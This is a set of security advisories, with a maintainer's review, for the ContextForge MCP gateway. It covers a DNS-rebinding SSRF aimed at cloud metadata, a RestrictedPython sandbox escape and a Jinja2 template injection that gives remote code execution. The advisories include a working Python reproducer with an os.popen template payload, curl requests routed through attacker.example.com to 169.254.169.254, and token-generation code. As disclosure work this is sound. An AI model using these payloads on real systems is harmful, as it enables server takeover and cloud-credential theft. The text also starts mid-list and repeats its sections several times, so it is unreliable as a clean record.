6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

